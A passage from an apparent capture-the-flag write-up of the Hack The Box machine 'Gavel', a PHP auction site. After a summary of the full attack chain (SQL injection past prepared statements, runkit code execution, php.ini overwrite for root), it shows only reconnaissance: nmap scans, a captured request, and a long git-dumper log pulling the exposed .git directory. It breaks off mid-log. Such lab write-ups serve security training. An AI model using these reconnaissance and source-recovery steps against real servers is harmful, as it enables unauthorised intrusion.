HTB: Gavel

HTB: Gavel

Gavel is a Linux box hosting a PHP auction website with an exposed .git directory. I’ll recover the source code with git-dumper and exploit a novel SQL injection technique that bypasses PDO’s backtick-quoted prepared statements to dump the database. After cracking a bcrypt hash, I’ll access the admin panel and exploit PHP’s runkit extension to inject arbitrary code into auction rules, getting RCE. I’ll pivot to the next user via password reuse, then reverse engineer a custom daemon that validates submitted PHP rules against a restrictive php.ini. Since file_put_contents isn’t disabled, I’ll overwrite the php.ini to remove all restrictions, then use a second submission to get a root shell.

Box Info

Gavel

Medium

Release Date 29 Nov 2025

Retire Date 14 Mar 2026

OS Linux

Rated Difficulty

Radar Graph

User

00:55:28 r34w0k3n

Root

01:41:31 NLTE

Creator Shadow21A

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.15.156
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:12 UTC
...[snip]...
Nmap scan report for 10.129.15.156
Host is up, received echo-reply ttl 63 (0.026s latency).
Scanned at 2026-03-01 20:12:20 UTC for 9s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.05 seconds
           Raw packets sent: 88109 (3.877MB) | Rcvd: 65696 (2.628MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.15.156
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:13 UTC
Nmap scan report for 10.129.15.156
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).

Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

The webserver on port 80 shows a redirect to gavel.htb. I’ll run ffuf to bruteforce for any subdomains that respond differently, but not find any. I’ll add this to my /etc/hosts file:

10.129.15.156 gavel.htb

Now on re-scanning the webserver, there’s a new finding:

oxdf@hacky$ sudo nmap -p 80 -sCV gavel.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:19 UTC
Nmap scan report for gavel.htb (10.129.15.156)
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52
| http-git: 
|   10.129.15.156:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Gavel Auction
Service Info: Host: gavel.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.88 seconds

There’s an exposed .git directory on the webserver.

Website - TCP 80

Site

The website is an auction site:

The login page (/login.php) shows a form:

The registration page (/register.php) shows free signup with a 50,000 coin signup bonus, and a referral bonus:

I’ll register an account and login. The Home page is still the same, but now there are two new pages in the menu bar. Inventory shows what I’ve purchased:

Bidding shows items to bid on:

The times are all ending very soon. It seems there are new items every roughly three minutes that have a time remaining around the same. If I make a small bid, it seems I’m likely to get outbid immediately. Weirdly, even when I’m outbid, that money is deducted from my funds. If I make a large bid, it will stay in the lead much longer. Stuff I win will show up in my Inventory:

There is a “Sort by” option, which interestingly reloads the page as a POST request:

POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://gavel.htb
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=ldck1f3aem1lv2cf12tstunqbb

user_id=3&sort=item_name

This kind of thing would typically be done in a GET request.

Tech Stack

The HTTP response headers set a cookie on initially visiting /:

HTTP/1.1 200 OK
Date: Sat, 01 Mar 2026 20:21:24 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: gavel_session=mapb3scp4r7hmbbu7h3demmd93; path=/; HttpOnly; SameSite=Strict
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13967
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The pages all use .php extensions. This is a PHP application. The 404 page is the default Apache 404:

I’m going to skip a directory brute force and focus on the exposed .git.

Source Code

Recover

I’ll use git-dumper (uv tool install git-dumper) to recover the .git repository:

oxdf@hacky$ git-dumper http://gavel.htb/.git src/
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
[-] Fetching http://gavel.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://gavel.htb/.git/HEAD [200]
[-] Fetching http://gavel.htb/.git/index [200]
[-] Fetching http://gavel.htb/.git/hooks/ [200]
[-] Fetching http://gavel.htb/.git/config [200]
[-] Fetching http://gavel.htb/.git/logs/ [200]
[-] Fetching http://gavel.htb/.git/branches/ [200]
[-] Fetching http://gavel.htb/.git/info/ [200]
[-] Fetching http://gavel.htb/.git/refs/ [200]
[-] Fetching http://gavel.htb/.git/logs/HEAD [200]
[-] Fetching http://gavel.htb/.git/logs/refs/ [200]
[-] Fetching http://gavel.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://gavel.htb/.git/description [200]
[-] Fetching http://gavel.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://gavel.htb/.git/hooks/update.sample [200]
[-] Fetching http://gavel.htb/.git/info/exclude [200]
[-] Fetching http://gavel.htb/.git/refs/heads/ [200]
[-] Fetching http://gavel.htb/.git/logs/refs/heads/ [200]
[-] Fetching http://gavel.htb/.git/refs/tags/ [200]
[-] Fetching http://gavel.htb/.git/refs/heads/master [200]
[-] Fetching http://gavel.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://gavel.htb/.git/objects/ [200]
[-] Fetching http://gavel.htb/.git/objects/00/ [200]
[-] Fetching http://gavel.htb/.git/objects/0b/ [200]
[-] Fetching http://gavel.htb/.git/objects/02/ [200]
[-] Fetching http://gavel.htb/.git/objects/0c/ [200]
[-] Fetching http://gavel.htb/.git/objects/01/ [200]
[-] Fetching http://gavel.htb/.git/objects/03/ [200]
[-] Fetching http://gavel.htb/.git/objects/0d/ [200]
[-] Fetching http://gavel.htb/.git/objects/0a/ [200]
[-] Fetching http://gavel.htb/.git/objects/04/ [200]
[-] Fetching http://gavel.htb/.git/objects/06/ [200]
[-] Fetching http://gavel.htb/.git/objects/0e/ [200]
[-] Fetching http://gavel.htb/.git/objects/05/ [200]
[-] Fetching http://gavel.htb/.git/objects/0f/ [200]
[-] Fetching http://gavel.htb/.git/objects/07/ [200]
[-] Fetching http://gavel.htb/.git/objects/09/ [200]
[-] Fetching http://gavel.htb/.git/objects/1a/ [200]
[-] Fetching http://gavel.htb/.git/objects/08/ [200]
[-] Fetching http://gavel.htb/.git/objects/1c/ [200]
[-] Fetching http://gavel.htb/.git/objects/1f/ [200]
[-] Fetching http://gavel.htb/.git/objects/1e/ [200]
[-] Fetching http://gavel.htb/.git/objects/2c/ [200]
[-] Fetching http://gavel.htb/.git/objects/2d/ [200]
[-] Fetching http://gavel.htb/.git/objects/2e/ [200]
[-] Fetching http://gavel.htb/.git/objects/2b/ [200]
[-] Fetching http://gavel.htb/.git/objects/1d/ [200]
[-] Fetching http://gavel.htb/.git/objects/2a/ [200]
[-] Fetching http://gavel.htb/.git/objects/2f/ [200]
[-] Fetching http://gavel.htb/.git/objects/3a/ [200]
[-] Fetching http://gavel.htb/.git/objects/3c/ [200]
[-] Fetching http://gavel.htb/.git/objects/3b/ [200]
[-] Fetching http://gavel.htb/.git/objects/3e/ [200]
[-] Fetching http://gavel.htb/.git/objects/3f/ [200]
[-] Fetching http://gavel.htb/.git/objects/3d/ [200]
[-] Fetching http://gavel.htb/.git/objects/1b/ [200]
[-] Fetching http://gavel.htb/.git/objects/4a/ [200]
[-] Fetching http://gavel.htb/.git/objects/4b/ [200]
[-] Fetching http://gavel.htb/.git/objects/4c/ [200]
[-] Fetching http://gavel.htb/.git/objects/4e/ [200]
[-] Fetching http://gavel.htb/.git/objects/4d/ [200]
[-] Fetching http://gavel.htb/.git/objects/4f/ [200]
[-] Fetching http://gavel.htb/.git/objects/5a/ [200]
[-] Fetching http://gavel.htb/.git/objects/5b/ [200]
[-] Fetching http://gavel.htb/.git/objects/5c/ [200]
[-] Fetching http://gavel.htb/.git/objects/5e/ [200]
[-] Fetching http://gavel.htb/.git/objects/5f/ [200]
[-] Fetching http://gavel.htb/.git/objects/5d/ [200]
[-] Fetching http://gavel.htb/.git/objects/6a/ [200]
[-] Fetching http://gavel.htb/.git/objects/6b/ [200]
[-] Fetching http://gavel.htb/.git/objects/6e/ [200]
[-] Fetching http://gavel.htb/.git/objects/6c/ [200]
[-] Fetching http://gavel.htb/.git/objects/6f/ [200]
[-] Fetching http://gavel.htb/.git/objects/6d/ [200]
[-] Fetching http://gavel.htb/.git/objects/7a/ [200]
[-] Fetching http://gavel.htb/.git/objects/7b/ [200]
[-] Fetching http://gavel.htb/.git/objects/7e/ [200]
[-] Fetching http://gavel.htb/.git/objects/7d/ [200]
[-] Fetching http://gavel.htb/.git/objects/7c/ [200]
[-] Fetching http://gavel.htb/.git/objects/7f/ [200]
[-] Fetching http://gavel.htb/.git/objects/8a/ [200]
[-] Fetching http://gavel.htb/.git/objects/8c/ [200]
[-] Fetching http://gavel.htb/.git/objects/8d/ [200]
[-] Fetching http://gavel.htb/.git/objects/8b/ [200]
[-] Fetching http://gavel.htb/.git/objects/8e/ [200]
[-] Fetching http://gavel.htb/.git/objects/8f/ [200]
[-] Fetching http://gavel.htb/.git/objects/9a/ [200]
[-] Fetching http://gavel.htb/.git/objects/9c/ [200]
[-] Fetching http://gavel.htb/.git/objects/9b/ [200]
[-] Fetching http://gavel.htb/.git/objects/9d/ [200]
[-] Fetching http://gavel.htb/.git/objects/9e/ [200]
[-] Fetching http://gavel.htb/.git/objects/9f/ [200]
[-] Fetching http://gavel.htb/.git/objects/11/ [200]
[-] Fetching http://gavel.htb/.git/objects/10/ [200]
[-] Fetching http://gavel.htb/.git/objects/12/ [200]
[-] Fetching http://gavel.htb/.git/objects/13/ [200]
[-] Fetching http://gavel.htb/.git/objects/14/ [200]
[-] Fetching http://gavel.htb/.git/objects/15/ [200]
[-] Fetching http://gavel.htb/.git/objects/16/ [200]
[-] Fetching http://gavel.htb/.git/objects/17/ [200]
[-] Fetching http://gavel.htb/.git/objects/18/ [200]
[-] Fetching http://gavel.htb/.git/objects/19/ [200]
[-] Fetching http://gavel.htb/.git/objects/20/ [200]
[-] Fetching http://gavel.htb/.git/objects/22/ [200]
[-] Fetching http://gavel.htb/.git/objects/21/ [200]
[-] Fetching http://gavel.htb/.git/objects/23/ [200]
[-] Fetching http://gavel.htb/.git/objects/24/ [200]
[-] Fetching http://gavel.htb/.git/objects/25/ [200]
[-] Fetching http://gavel.htb/.git/objects/26/ [200]
[-] Fetching http://gavel.htb/.git/objects/27/ [200]
[-] Fetching http://gavel.htb/.git/objects/28/ [200]
[-] Fetching http://gavel.htb/.git/objects/29/ [200]
[-] Fetching http://gavel.htb/.git/objects/30/ [200]
[-] Fetching http://gavel.htb/.git/objects/31/ [200]
[-] Fetching http://gavel.htb/.git/objects/32/ [200]
[-] Fetching http://gavel.htb/.git/objects/33/ [200]
[-] Fetching http://gavel.htb/.git/objects/34/ [200]
[-] Fetching http://gavel.htb/.git/objects/36/ [200]
[-] Fetching http://gavel.htb/.git/objects/35/ [200]
[-] Fetching http://gavel.htb/.git/objects/37/ [200]
[-] Fetching http://gavel.htb/.git/objects/38/ [200]
[-] Fetching http://gavel.htb/.git/objects/40/ [200]
[-] Fetching http://gavel.htb/.git/objects/39/ [200]
[-] Fetching http://gavel.htb/.git/objects/41/ [200]
[-] Fetching http://gavel.htb/.git/objects/42/ [200]
[-] Fetching http://gavel.htb/.git/objects/43/ [200]
[-] Fetching http://gavel.htb/.git/objects/44/ [200]
[-] Fetching http://gavel.htb/.git/objects/46/ [200]
[-] Fetching http://gavel.htb/.git/objects/47/ [200]
[-] Fetching http://gavel.htb/.git/objects/49/ [200]
[-] Fetching http://gavel.htb/.git/objects/48/ [200]
[-] Fetching http://gavel.htb/.git/objects/50/ [200]
[-] Fetching http://gavel.htb/.git/objects/51/ [200]
[-] Fetching http://gavel.htb/.git/objects/52/ [200]
[-] Fetching http://gavel.htb/.git/objects/45/ [200]
[-] Fetching http://gavel.htb/.git/objects/54/ [200]
[-] Fetching http://gavel.htb/.git/objects/53/ [200]
[-] Fetching http://gavel.htb/.git/objects/55/ [200]
[-] Fetching http://gavel.htb/.git/objects/56/ [200]
[-] Fetching http://gavel.htb/.git/objects/57/ [200]
[-] Fetching http://gavel.htb/.git/objects/59/ [200]
[-] Fetching http://gavel.htb/.git/objects/60/ [200]
[-] Fetching http://gavel.htb/.git/objects/58/ [200]
[-] Fetching http://gavel.htb/.git/objects/61/ [200]
[-] Fetching http://gavel.htb/.git/objects/62/ [200]
[-] Fetching http://gavel.htb/.git/objects/63/ [200]
[-] Fetching http://gavel.htb/.git/objects/64/ [200]
[-] Fetching http://gavel.htb/.git/objects/65/ [200]
[-] Fetching http://gavel.htb/.git/objects/66/ [200]
[-] Fetching http://gavel.htb/.git/objects/67/ [200]
[-] Fetching http://gavel.htb/.git/objects/68/ [200]
[-] Fetching http://gavel.htb/.git/objects/69/ [200]
[-] Fetching http://gavel.htb/.git/objects/70/ [200]
[-] Fetching http://gavel.htb/.git/objects/71/ [200]
[-] Fetching http://gavel.htb/.git/objects/73/ [200]
[-] Fetching http://gavel.htb/.git/objects/76/ [200]
[-] Fetching http://gavel.htb/.git/objects/74/ [200]
[-] Fetching http://gavel.htb/.git/objects/77/ [200]
[-] Fetching http://gavel.htb/.git/objects/78/ [200]
[-] Fetching http://gavel.htb/.git/objects/79/ [200]
[-] Fetching http://gavel.htb/.git/objects/80/ [200]
[-] Fetching http://gavel.htb/.git/objects/81/ [200]
[-] Fetching http://gavel.htb/.git/objects/72/ [200]
[-] Fetching http://gavel.htb/.git/objects/82/ [200]
[-] Fetching http://gavel.htb/.git/objects/75/ [200]
[-] Fetching http://gavel.htb/.git/objects/86/ [200]
[-] Fetching http://gavel.htb/.git/objects/85/ [200]
[-] Fetching http://gavel.htb/.git/objects/83/ [200]
[-] Fetching http://gavel.htb/.git/objects/87/ [200]
[-] Fetching http://gavel.htb/.git/objects/84/ [200]
[-] Fetching http://gavel.htb/.git/objects/88/ [200]
[-] Fetching http://gavel.htb/.git/objects/89/ [200]
[-] Fetching http://gavel.htb/.git/objects/90/ [200]
[-] Fetching http://gavel.htb/.git/objects/91/ [200]
[-] Fetching http://gavel.htb/.git/objects/93/ [200]
[-] Fetching http://gavel.htb/.git/objects/96/ [200]
[-] Fetching http://gavel.htb/.git/objects/95/ [200]
[-] Fetching http://gavel.htb/.git/objects/98/ [200]
[-] Fetching http://gavel.htb/.git/objects/97/ [200]
[-] Fetching http://gavel.htb/.git/objects/99/ [200]
[-] Fetching http://gavel.htb/.git/objects/94/ [200]
[-] Fetching http://gavel.htb/.git/objects/92/ [200]
[-] Fetching http://gavel.htb/.git/objects/a1/ [200]
[-] Fetching http://gavel.htb/.git/objects/a0/ [200]
[-] Fetching http://gavel.htb/.git/objects/a2/ [200]
[-] Fetching http://gavel.htb/.git/objects/a3/ [200]
[-] Fetching http://gavel.htb/.git/objects/a5/ [200]
[-] Fetching http://gavel.htb/.git/objects/a4/ [200]
[-] Fetching http://gavel.htb/.git/objects/a7/ [200]
[-] Fetching http://gavel.htb/.git/objects/a6/ [200]
[-] Fetching http://gavel.htb/.git/objects/aa/ [200]
[-] Fetching http://gavel.htb/.git/objects/a9/ [200]
[-] Fetching http://gavel.htb/.git/objects/a8/ [200]
[-] Fetching http://gavel.htb/.git/objects/ab/ [200]
[-] Fetching http://gavel.htb/.git/objects/ac/ [200]
[-] Fetching http://gavel.htb/.git/objects/ad/ [200]
[-] Fetching http://gavel.htb/.git/objects/ae/ [200]
[-] Fetching http://gavel.htb/.git/objects/af/ [200]
[-] Fetching http://gavel.htb/.git/objects/b0/ [200]
[-] Fetching http://gavel.htb/.git/objects/b1/ [200]
[-] Fetching http://gavel.htb/.git/objects/b2/ [200]
[-] Fetching http://gavel.htb/.git/objects/b4/ [200]
[-] Fetching http://gavel.htb/.git/objects/b3/ [200]
[-] Fetching http://gavel.htb/.git/objects/b6/ [200]
[-] Fetching http://gavel.htb/.git/objects/b7/ [200]
[-] Fetching http://gavel.htb/.git/objects/b8/ [200]
[-] Fetching http://gavel.htb/.git/objects/b5/ [200]
[-] Fetching http://gavel.htb/.git/objects/b9/ [200]
[-] Fetching http://gavel.htb/.git/objects/bb/ [200]
[-] Fetching http://gavel.htb/.git/objects/ba/ [200]
[-] Fetching http://gavel.htb/.git/objects/bc/ [200]
[-] Fetching http://gavel.htb/.git/objects/be/ [200]
[-] Fetching http://gavel.htb/.git/objects/c1/ [200]
[-] Fetching http://gavel.htb/.git/objects/c0/ [200]
[-] Fetching http://gavel.htb/.git/objects/c3/ [200]
[-] Fetching http://gavel.htb/.git/objects/c4/ [200]
[-] Fetching http://gavel.htb/.git/objects/c5/ [200]
[-] Fetching http://gavel.htb/.git/objects/bf/ [200]
[-] Fetching http://gavel.htb/.git/objects/c6/ [200]
[-] Fetching http://gavel.htb/.git/objects/bd/ [200]
[-] Fetching http://gavel.htb/.git/objects/c7/ [200]
[-] Fetching http://gavel.htb/.git/objects/c8/ [200]
[-] Fetching http://gavel.htb/.git/objects/ca/ [200]
[-] Fetching http://gavel.htb/.git/objects/c9/ [200]
[-] Fetching http://gavel.htb/.git/objects/cb/ [200]
[-] Fetching http://gavel.htb/.git/objects/cc/ [200]
[-] Fetching http://gavel.htb/.git/objects/ce/ [200]
[-] Fetching http://gavel.htb/.git/objects/c2/ [200]
[-] Fetching http://gavel.htb/.git/objects/d0/ [200]
[-] Fetching http://gavel.htb/.git/objects/d1/ [200]
[-] Fetching http://gavel.htb/.git/objects/d3/ [200]
[-] Fetching http://gavel.htb/.git/objects/d2/ [200]
[-] Fetching http://gavel.htb/.git/objects/d5/ [200]
[-] Fetching http://gavel.htb/.git/objects/d4/ [200]
[-] Fetching http://gavel.htb/.git/objects/d6/ [200]
[-] Fetching http://gavel.htb/.git/objects/cf/ [200]
[-] Fetching http://gavel.htb/.git/objects/cd/ [200]
[-] Fetching http://gavel.htb/.git/objects/d8/ [200]
[-] Fetching http://gavel.htb/.git/objects/da/ [200]
[-] Fetching http://gavel.htb/.git/objects/d9/ [200]
[-] Fetching http://gavel.htb/.git/objects/db/ [200]
[-] Fetching http://gavel.htb/.git/objects/dc/ [200]
[-] Fetching http://gavel.htb/.git/objects/dd/ [200]
[-] Fetching http://gavel.htb/.git/objects/de/ [200]
[-] Fetching http://gavel.htb/.git/objects/d7/ [200]
[-] Fetching http://gavel.htb/.git/objects/e1/ [200]
[-] Fetching http://gavel.htb/.git/objects/e2/ [200]
[-] Fetching http://gavel.htb/.git/objects/e3/ [200]
[-] Fetching http://gavel.htb/.git/objects/e4/ [200]
[-] Fetching http://gavel.htb/.git/objects/e6/ [200]
[-] Fetching http://gavel.htb/.git/objects/e5/ [200]
[-] Fetching http://gavel.htb/.git/objects/e7/ [200]
[-] Fetching http://gavel.htb/.git/objects/e8/ [200]
[-] Fetching http://gavel.htb/.git/objects/ea/ [200]
[-] Fetching http://gavel.htb/.git/objects/eb/ [200]
[-] Fetching http://gavel.htb/.git/objects/ec/ [200]
[-] Fetching http://gavel.htb/.git/objects/ed/ [200]
[-] Fetching http://gavel.htb/.git/objects/ee/ [200]
[-] Fetching http://gavel.htb/.git/objects/ef/ [200]
[-] Fetching http://gavel.htb/.git/objects/f0/ [200]
[-] Fetching http://gavel.htb/.git/objects/f1/ [200]
[-] Fetching http://gavel.htb/.git/objects/f4/ [200]
[-] Fetching http://gavel.htb/.git/objects/f2/ [200]
[-] Fetching http://gavel.htb/.git/objects/f5/ [200]
[-] Fetching http://gavel.htb/.git/objects/f3/ [200]
[-] Fetching http://gavel.htb/.git/objects/f6/ [200]
[-] Fetching http://gavel.htb/.git/objects/df/ [200]
[-] Fetching http://gavel.htb/.git/objects/e0/ [200]
[-] Fetching http://gavel.htb/.git/objects/f7/ [200]
[-] Fetching http://gavel.htb/.git/objects/f8/ [200]
[-] Fetching http://gavel.htb/.git/objects/f9/ [200]
[-] Fetching http://gavel.htb/.git/objects/fa/ [200]
[-] Fetching http://gavel.htb/.git/objects/fc/ [200]
[-] Fetching http://gavel.htb/.git/objects/fb/ [200]
[-] Fetching http://gavel.htb/.git/objects/fd/ [200]
[-] Fetching http://gavel.htb/.git/objects/e9/ [200]
[-] Fetching http://gavel.htb/.git/objects/info/ [200]
[-] Fetching http://gavel.htb/.git/objects/pack/ [200]
[-] Fetching http://gavel.htb/.git/objects/0b/5985f8845d875f166341bcba2283cc585a35a5 [200]
[-] Fetching http://gavel.htb/.git/objects/0b/63ae6c47c6f4ba7cb614819d1a350058606663 [200]
[-] Fetching http://gavel.htb/.git/objects/0b/a07c34a9c3efe7763d9bbeeefaf6d2dbba3795 [200]
[-] Fetching http://gavel.htb/.git/objects/0b/aebd1a7703ad0d61032b0f637476ccc986ec01 [200]
[-] Fetching http://gavel.htb/.git/objects/0b/e3835c2038aaa8f697aaca6ffadec3de587316 [200]
[-] Fetching http://gavel.htb/.git/objects/fe/ [200]
[-] Fetching http://gavel.htb/.git/objects/ff/ [200]
[-] Fetching http://gavel.htb/.git/objects/00/2fd497d179821799819e2b3fc3c9c4e7004aa6 [200]
[-] Fetching http://gavel.htb/.git/objects/0b/fe5303b9f5bed8e538929f3f6c766f77ce4c9e [200]
[-] Fetching http://gavel.htb/.git/objects/0b/fb62e6c582a6a41e4224ebe23936834ca9490c [200]
[-] Fetching http://gavel.htb/.git/objects/00/26b1f11fa169cd2799cbedbed95fcf2986bc21 [200]
[-] Fetching http://gavel.htb/.git/objects/00/920ee5e1151484926e80c5fa49f840cf893312 [200]
[-] Fetching http://gavel.htb/.git/objects/0b/f19f2feb4abd2d4af0de26de18eac09426e09f [200]
[-] Fetching http://gavel.htb/.git/objects/00/75230f4320fd818d72b47e275983f0cad7617a [200]
[-] Fetching http://gavel.htb/.git/objects/00/ee43dd17da126049cbff9382a637bbe2a2ff17 [200]
[-] Fetching http://gavel.htb/.git/objects/02/19b9e9d4c83174df161956c5721e303e6ab0e8 [200]
[-] Fetching http://gavel.htb/.git/objects/02/1be8418b3650a3367fba8a8f067664a111dfb3 [200]
[-] Fetching http://gavel.htb/.git/objects/02/f4526460e53affc82fcdb5d4288296bca589aa [200]
[-] Fetching http://gavel.htb/.git/objects/02/5730fc3a05bc8cc9ee8ba448d6ca01d585d3bd [200]
[-] Fetching http://gavel.htb/.git/objects/03/0b7ae90988f5d9382a6400b11155b35f07768b [200]
[-] Fetching http://gavel.htb/.git/objects/03/7c554efc5dd8b6532d2dd1101b3381f16c266d [200]
[-] Fetching http://gavel.htb/.git/objects/03/a820ceffe2c9e43b109f282e060fff9835fb42 [200]
[-] Fetching http://gavel.htb/.git/objects/03/bdf277f70daf50a5d9b7553fbeb9e621add41c [200]
[-] Fetching http://gavel.htb/.git/objects/03/cc41c99a1564356134aa8b7a9211457e051a41 [200]
[-] Fetching http://gavel.htb/.git/objects/03/e0b3a7cd1e2e1dfd776b621c3acde0db7c4de4 [200]
[-] Fetching http://gavel.htb/.git/objects/01/5a02cd7b9ae78909ba65b187c3f57213a67fb4 [200]
[-] Fetching http://gavel.htb/.git/objects/01/7b1399e19152b96d190029369ac24615fc1a1c [200]
[-] Fetching http://gavel.htb/.git/objects/01/38f0daf6ea1cac48df58c23e7f32cd6afd9dfa [200]
[-] Fetching http://gavel.htb/.git/objects/01/9d21724cd5e087a71bc1a6bc80315424ba2cfc [200]
[-] Fetching http://gavel.htb/.git/objects/01/3728df3f2f5722755c9d49ecc24b46c2e99330 [200]
[-] Fetching http://gavel.htb/.git/objects/01/3806c9d62fae56e828edcf5f015527be30d580 [200]
[-] Fetching http://gavel.htb/.git/objects/01/aac784177fcccd77c383f23e6a93120456e71e [200]
[-] Fetching http://gavel.htb/.git/objects/01/aef27127dbdd21bb502d0cf6bc29490d996eb0 [200]
[-] Fetching http://gavel.htb/.git/objects/01/b70ae4f5c2d201743851e27a93da08f6c5ae28 [200]
[-] Fetching http://gavel.htb/.git/objects/01/e97eabe9aed2a00cbf697cfd1dff9b97ff0dd0 [200]
[-] Fetching http://gavel.htb/.git/objects/01/e81ce2bb162c93527f7d529a5110cf40553e20 [200]
[-] Fetching http://gavel.htb/.git/objects/01/f0c50193c697337fff8058f6795ef2ca1d4fb3 [200]
[-] Fetching http://gavel.htb/.git/objects/0d/60bb68d525947da2d3980db757c262bc182adb [200]
[-] Fetching http://gavel.htb/.git/objects/0d/a35315611c5d920cdbc74697abbbcd26a826d1 [200]
[-] Fetching http://gavel.htb/.git/objects/0d/5888b367a5637c6c7968df1473ffd2144af114 [200]
[-] Fetching http://gavel.htb/.git/objects/0d/c81c1b056a056395f94e3eee62551aa6717c38 [200]
[-] Fetching http://gavel.htb/.git/objects/0d/0aa451b7eb1a3066a8c1f070bca1b326bc7eae [200]
[-] Fetching http://gavel.htb/.git/objects/0d/7065ac8577f8695afe530a73dbf0357602371b [200]
[-] Fetching http://gavel.htb/.git/objects/0c/9078a49c4ee968a055f44d3195c9ae6a5ce3a4 [200]
[-] Fetching http://gavel.htb/.git/objects/0a/08fd5239f5332ae3a85e4eb70409a4004eab98 [200]
[-] Fetching http://gavel.htb/.git/objects/0a/1d54eba07faf708b90aa5e5de2258f428944dd [200]
[-] Fetching http://gavel.htb/.git/objects/0a/260b96fb6ead3cf4efb84289396527773f617b [200]
[-] Fetching http://gavel.htb/.git/objects/0a/38b93fdba6f8a5d2983bdf2042c3cc40dfb4c2 [200]
[-] Fetching http://gavel.htb/.git/objects/0a/45d809c326a68c3b5485354eff840860b08599 [200]
[-] Fetching http://gavel.htb/.git/objects/0a/45a72fb29460303ecba5580106307d66b5c8bd [200]
[-] Fetching http://gavel.htb/.git/objects/0c/542d03b33e63dd1c4642d8c728508da14120b1 [200]
[-] Fetching http://gavel.htb/.git/objects/0c/6b5cf4687a73a9a5043aaed205559599e659a2 [200]
[-] Fetching http://gavel.htb/.git/objects/0a/d76af3eeb6fa6619fcd3a794aaf78b9f61c045 [200]
[-] Fetching http://gavel.htb/.git/objects/0a/d49e7c23285cf73d260d7db308fc2caf885fca [200]
[-] Fetching http://gavel.htb/.git/objects/04/7b166847b404b05027e074f7cf4b6ee9d7ec1f [200]
[-] Fetching http://gavel.htb/.git/objects/04/63d49690e18fa34adfaf1a62d08f762bd7dbc2 [200]
[-] Fetching http://gavel.htb/.git/objects/04/7dce5cbfcbbb91d61be6a6b39c920bc6946de5 [200]
[-] Fetching http://gavel.htb/.git/objects/04/5169bb619e6579a6f67b7a891c5ed985df3892 [200]
[-] Fetching http://gavel.htb/.git/objects/04/729323bfdfca34085ffd6c02039c9a9731d088 [200]
[-] Fetching http://gavel.htb/.git/objects/0e/2067d4d87a964079291b21f554e0c612afeee8 [200]
[-] Fetching http://gavel.htb/.git/objects/0e/8337e1faa1df6af7d9545e5530d197e07be65b [200]
[-] Fetching http://gavel.htb/.git/objects/0e/a167016a5b6bb037c49a4cd78321fe3128274f [200]
[-] Fetching http://gavel.htb/.git/objects/05/a97d6ecce47bc2017944742fc691b943061220 [200]
[-] Fetching http://gavel.htb/.git/objects/05/2ca9fb477b05fc316d86befc55878802b6b1d9 [200]
[-] Fetching http://gavel.htb/.git/objects/0e/b09b5816863e96795831a242f74c1e8ed6dbe1 [200]
[-] Fetching http://gavel.htb/.git/objects/05/b6bff8303f76f1193f52c3b4014d26d8bfcd32 [200]
[-] Fetching http://gavel.htb/.git/objects/04/b00faeb605489277eeefc8e21f5a59d0f9b4d3 [200]
